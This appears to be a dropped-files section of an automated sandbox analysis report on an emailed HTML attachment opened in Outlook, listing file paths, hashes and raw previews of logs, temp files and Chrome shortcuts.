Preview:	<html>.. <head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="robots" content="noindex, nofollow">.. <style>.. @font-face { font-family: system; font-style: normal; font-weight: 300; src: local(".SFNSText-Light"), local(".HelveticaNeueDeskInterface-Light"), local("Roboto-Light"), local("DroidSans"), local("Tahoma"), local(".LucidaGrandeUI"), local("Ubuntu Light"), local("Segoe UI Light"); } html, body { width: 100%; height: 100%; } #tuliptree { height: 31px; background-color: black; width: 100%; display: flex; justify-content: space-between; user-select: none; } #yuccafern { padding-left: 5px; vertical-align: middle; } #goosegrass { color: white; font-size: 12px; font-family: "system"; vertical-align: middle; } #weasel { color: white; font-size: 12px; padding: 9px 15px 7px 15px; } #dipper { color: white; font-size: 22px; padding: 0px 15px 5px 15px; } #yewwood { color: white; font-size: 15px; padding: 7px 17px 7px 17

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM (002).html:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (20396), with CRLF line terminators
Category:	dropped
Size (bytes):	122622
Entropy (8bit):	2.9049740407009073
Encrypted:	false
SSDEEP:	3072:tDK94eMh2iIrgc4eIBlyDiDMSxhQ3hifgtshIfyDysjshTD3gRQBFD99KIp/9MDh:tDK94eMh2iIrgc4eIBlyDiDMSxhQ3hin
MD5:	A8B19E5A76DD053C42B8392A3264A776
SHA1:	635D44E0336A05E17D8F3E67468F14E0A255134F
SHA-256:	E2BAB48D3AF08B482F1B18A6D625CDFFE14857DA3AB2BE452793F7932505C2EE
SHA-512:	F1522ABDCDC5F261B221874B8D3363C1B2A4B1F8279E257A14ACE0E11A7DC00A80244FD9403FEC48F0B5074786A5AD322B4A9D61861BCDB4895AB2DDCE137A1A
Malicious:	false
Preview:	<html>.. <head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="robots" content="noindex, nofollow">.. <style>.. @font-face { font-family: system; font-style: normal; font-weight: 300; src: local(".SFNSText-Light"), local(".HelveticaNeueDeskInterface-Light"), local("Roboto-Light"), local("DroidSans"), local("Tahoma"), local(".LucidaGrandeUI"), local("Ubuntu Light"), local("Segoe UI Light"); } html, body { width: 100%; height: 100%; } #tuliptree { height: 31px; background-color: black; width: 100%; display: flex; justify-content: space-between; user-select: none; } #yuccafern { padding-left: 5px; vertical-align: middle; } #goosegrass { color: white; font-size: 12px; font-family: "system"; vertical-align: middle; } #weasel { color: white; font-size: 12px; padding: 9px 15px 7px 15px; } #dipper { color: white; font-size: 22px; padding: 0px 15px 5px 15px; } #yewwood { color: white; font-size: 15px; padding: 7px 17px 7px 17

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\J8VVYD4B\c.gaudenzi@almaviva.it_{RANDOM_NUMBER5}CQDM.html:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1733213101159482300_2A309E58-C4F0-4AB1-84B1-1C43C82350C8.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.006744769504970345
Encrypted:	false
SSDEEP:	192:N/bp4VZAKTiXLsJhcojkSyANsENn8B2IKR4HWPLOYBf:N/IxTqLCrj/yANfx8QIOuWjOYB
MD5:	DBC2300F077AB2CEE9478CA1ADC7FE13
SHA1:	46572E4D3E5071A32671753E4B9B93B3F6055793
SHA-256:	6F202AEC3C7F18D099D31406DA55EFC08D7EDFB28F39DE80FF22CB8158AE920D
SHA-512:	A6C743577CF77F6FC2329722F211950979EA13643186D2C8F169BC4CB16136DD3574AAB926F839A566649116DB301757EDB7EAE388D33171B0EEA6DD46D65ADE
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..12/03/2024 08:05:01.193.OUTLOOK (0x1A24).0x1A28.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.System.GracefulExit.GracefulAppExitDesktop","Flags":33777014402039809,"InternalSequenceNumber":17,"Time":"2024-12-03T08:05:01.193Z","Data.PreviousAppMajor":16,"Data.PreviousAppMinor":0,"Data.PreviousAppBuild":16827,"Data.PreviousAppRevision":20130,"Data.PreviousSessionId":"F975AC1D-0C83-4E2E-8094-E0BF50FC5E77","Data.PreviousSessionInitTime":"2024-12-03T08:04:40.711Z","Data.PreviousSessionUninitTime":"2024-12-03T08:04:43.351Z","Data.SessionFlags":2147483652,"Data.InstallMethod":0,"Data.OfficeUILang":1033,"Data.PreviousBuild":"Unknown","Data.EcsETag":"\"\"","Data.ProcessorArchitecture":"x64"}...12/03/2024 08:05:01.240.OUTLOOK (0x1A24).0x1998.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":22

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1733213101160275900_2A309E58-C4F0-4AB1-84B1-1C43C82350C8.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241203T0305000970-6692.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	217088
Entropy (8bit):	4.9155584243470765
Encrypted:	false
SSDEEP:	1536:kKK4UC9QHqJiwv9T8C6vIV0aeaYsj+yePWtu5pTOBb2VxYsX0OP:kl4UCmHqJ5YaYz7XtP
MD5:	A2236BDEB4F717D6613C8F96A11C66A5
SHA1:	82170792F9718E93BD1D360E60678C7DFE12A0AF
SHA-256:	E59060C2EE867300790336765D62D0E85C8690801F0387206C43AA33AB3423AE
SHA-512:	FED51C93DD2D44134CC21A8EEA45457FC0A00CFE480A6B484D1BDC4B9C214FA67DF97809A7D5E50BF5DA26ECE3C5729DD4A99A7C8E63D8C13AFC853E6639F1BF
Malicious:	false
Preview:	............................................................................`...(...$....2G.ZE..................eJ..............Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1................................................................Y...........2G.ZE..........v.2._.O.U.T.L.O.O.K.:.1.a.2.4.:.2.4.0.3.7.a.a.8.8.f.c.a.4.9.9.3.a.8.7.f.c.b.5.6.e.8.c.b.8.a.3.5...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.1.2.0.3.T.0.3.0.5.0.0.0.9.7.0.-.6.6.9.2...e.t.l.......P.P.(...$....2G.ZE..........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\olkCACD.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72370
Entropy (8bit):	2.6369589373862774
Encrypted:	false
SSDEEP:	96:NbdW8deWqScdRPdBvdqX8QwtvxdvR2Q4kEp7FdR7dWIdLudZ77puFRPdNEduY6z8:0
MD5:	E9089BB05C2BA66D3E129E7F24BC1C87
SHA1:	81664ED7C71131C25EC430A61F244E5247F8A635
SHA-256:	5601C53A3D336A83335A7FBA5F52ED36675CE45D8815F1F899C1FC7EB7B65B5F
SHA-512:	6EC2BC893B0EFF1803525BE7EB63C325D42402D9532F8BAC44CB4A3EA2998B1472094DB76F105A4B439E0460A024E18F1C8F7C476669A87B9A69357FBF2151B0
Malicious:	false
Preview:	776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk..44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g776g776g..776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g776g44Wk..776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk..776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g..44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g44Wk44Wk44Wk776g776g44Wk44Wk..44Wk776g44Wk44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g776g776g..776g776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk..44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk..44Wk776g776g776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk44Wk776g776g776g776g..776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk..44Wk776g776g44Wk776g776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g776g..44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk44Wk44Wk776g776g44Wk776g..44Wk44Wk776g44Wk44Wk77

C:\Users\user\AppData\Local\Temp\olkCACE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72370
Entropy (8bit):	2.6369589373862774
Encrypted:	false
SSDEEP:	96:NbdW8deWqScdRPdBvdqX8QwtvxdvR2Q4kEp7FdR7dWIdLudZ77puFRPdNEduY6z8:0
MD5:	E9089BB05C2BA66D3E129E7F24BC1C87
SHA1:	81664ED7C71131C25EC430A61F244E5247F8A635
SHA-256:	5601C53A3D336A83335A7FBA5F52ED36675CE45D8815F1F899C1FC7EB7B65B5F
SHA-512:	6EC2BC893B0EFF1803525BE7EB63C325D42402D9532F8BAC44CB4A3EA2998B1472094DB76F105A4B439E0460A024E18F1C8F7C476669A87B9A69357FBF2151B0
Malicious:	false
Preview:	776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk..44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g776g776g..776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g776g44Wk..776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk..776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g..44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g44Wk44Wk44Wk776g776g44Wk44Wk..44Wk776g44Wk44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g776g776g..776g776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk..44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk..44Wk776g776g776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk44Wk776g776g776g776g..776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk..44Wk776g776g44Wk776g776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g776g..44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk44Wk44Wk776g776g44Wk776g..44Wk44Wk776g44Wk44Wk77

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:Yykhl1:YR
MD5:	12DD3F391126BB3AE5A1CE573C2898D0
SHA1:	82DA6943C2F6BAF47E717436F2536065F8243267
SHA-256:	C7A8E0ACDA9F73AC171F288B3ADCB6EBA69FB34DF2DA790E90AAC69F273A7A98
SHA-512:	A42DC1F185A13B923E87F5DD79B9A28D56234B07D7DFEB2FB731E4B4248D89CB672CD1E8094834FC79F28583E362F3C2266383C5CFA6BABAE02F80E8297622BE
Malicious:	false
Preview:	....o.........................

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.6700813580830195
Encrypted:	false
SSDEEP:	12:rl3baFRqLKeTy2MyheC8T23BMyhe+S7wzQP9zNMyhe+S7xMyheCPg:rlmnq1Py961Pg
MD5:	B3FF673BE7A21B983A8BDBA0CDB12B2D
SHA1:	3E16215246EFC07A05401139E19B2AEC68F7D9A1
SHA-256:	EC2244D7E3DE595322890A7EA9CF96DFA6EB535EA18517D018DAC8BE4300BE00
SHA-512:	0F27D4645E55F05FE28D72FC5DD73B48DF7C49B2241DB4986E8DF7FB63E9B86ED2A54184BFF16A43D0F713AD58BFD491EC256BD14213F45ADB693261F7842D67
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 07:05:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9899230827562375
Encrypted:	false
SSDEEP:	48:8RRdMTwHwzEHHidAKZdA1FehwiZUklqehDy+3:8afzwMy
MD5:	C7D4B621445F4792BB7347D15382681E
SHA1:	12206E1311C981C6E57951F1BCB1288B4B10FB99
SHA-256:	60F086B5BBFF673884D9328685A90512FF34CAD106BAC20FEA272917DA069E76
SHA-512:	5686AC60F7E01176FA7FDEE28862163A9B370087BDC82435F43497C7FC29A63D4D4554317ED91A9F16C1F63E07F278C09865904EFB76C7DEAC32964295A9162F
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Iw.ZE..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.@....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.@....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.@....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.@..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 07:05:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.00166944586988
Encrypted:	false
SSDEEP:	48:8uRdMTwHwzEHHidAKZdA1seh/iZUkAQkqeh8y+2:8pfzm9QRy
MD5:	E81F50644F0749432AF20C6EFAD6FEAE
SHA1:	60487399770E8ECBDF69B030B3BA06823AB8C2D3
SHA-256:	82A9B6481E97058291734461447A0AFD22422DD4E8919C1FC4F81A063B780714
SHA-512:	095056ADB4D345B1490A5A143C0348EF28B0BC1941A6D23E02906A40C81D2C061815B5F2B42E2B23093F128AE263FB79AC901D1CEFD18311CF4D0EB16021A347
Malicious:	false
Preview:	L..................F.@.. ...$+.,......i.ZE..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.@....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.@....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.@....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.@..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.013417740203897
Encrypted:	false
SSDEEP:	48:8QdMTwHwAHHidAKZdA14meh7sFiZUkmgqeh7sCy+BX:8Lf2n4y
MD5:	B424DB95CE33A6793F1BFB34133CA74E
SHA1:	385998EF0707544AEB9B1091A270A719169EB26A
SHA-256:	14D1C92E9E8610880BCA5A4FACE2117248A4116ED36CB94A81DF5EF3B02EC5FD
SHA-512:	FF49FAEC9F69E2753CD347883BC2C8405C732DB1992777B89DD9CC3BD8D1D13F841149C9B0A040A443AAD5771574673C316EA2645BE5972C694B5E06672786A0
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.@....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.@....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.@....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.@..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 07:05:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.003813757523572
Encrypted:	false
SSDEEP:	48:8BRdMTwHwzEHHidAKZdA1TehDiZUkwqehAy+R:8Kfz9Ky
MD5:	754688B6670078BA0B542EC5B2B2FD2D
SHA1:	83EB325E53FD475A8C2920EAD2324249DC41AF95
SHA-256:	AFC66F0C546CEAA62C46965760EDC704CAA71EB9647170B38B65BD80F2B0411D
SHA-512:	80FEDEB7019931D4891E162C7EE38C6C1DF7CE838B1CB280F225EF141839DBBE1E6C04B352CAE13CA2BEB64C2248EC0E9471A155D18BD9433FB532773833C67F
Malicious:	false
Preview:	L..................F.@.. ...$+.,....'.a.ZE..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.@....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.@....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.@....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.@..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 07:05:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.992347260565117
Encrypted:	false
SSDEEP:	48:82RdMTwHwzEHHidAKZdA1dehBiZUk1W1qeh+y+C:8Bfz99ey
MD5:	D5C8DF23708D60185F27BB2FF053203A
SHA1:	5CC1CA31D981CD252D0F06C9D791B86C8E8FA975
SHA-256:	90C779AB1E50453BADF558D6B8AE85F90B92D32AAEE4DF679C5708D5FCDB08B7
SHA-512:	F9D2EF70743ED8C87F87D20DDB2F784E898FD20A77B5AB85F2BD2F0F90E4FD88B4BF6F82DAB0363029B661FB26E39DB2D8D719BB1BB0967E066037EDB2C22E05
Malicious:	false
Preview:	L..................F.@.. ...$+.,....,.p.ZE..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.@....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.@....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.@....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.@..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 07:05:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.002066711525954
Encrypted:	false
SSDEEP:	48:85RdMTwHwzEHHidAKZdA1duTeehOuTbbiZUk5OjqehOuTb4y+yT+:8yfzFTfTbxWOvTb4y7T
MD5:	A52BFF002653080C1A19DCF7668B8F2B
SHA1:	D76C4C678BE3B9ABE37BA0BAE4DA9E838F272423
SHA-256:	0EDDCD264FB58B071819E6B01FC1D130CBAA2E408D0CAD517502380216CFAD36
SHA-512:	E08A0D172234B7BE47D986A6F57F8F457F10682FBC6DAB17B8A06ACA2BF933CCB9A54D589F9C2CCE572CCC4AA0495437445FAC5139C270761153CAAB63C01DE9
Malicious:	false
Preview:	L..................F.@.. ...$+.,......W.ZE..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.@....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.@....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.@....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.@..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. 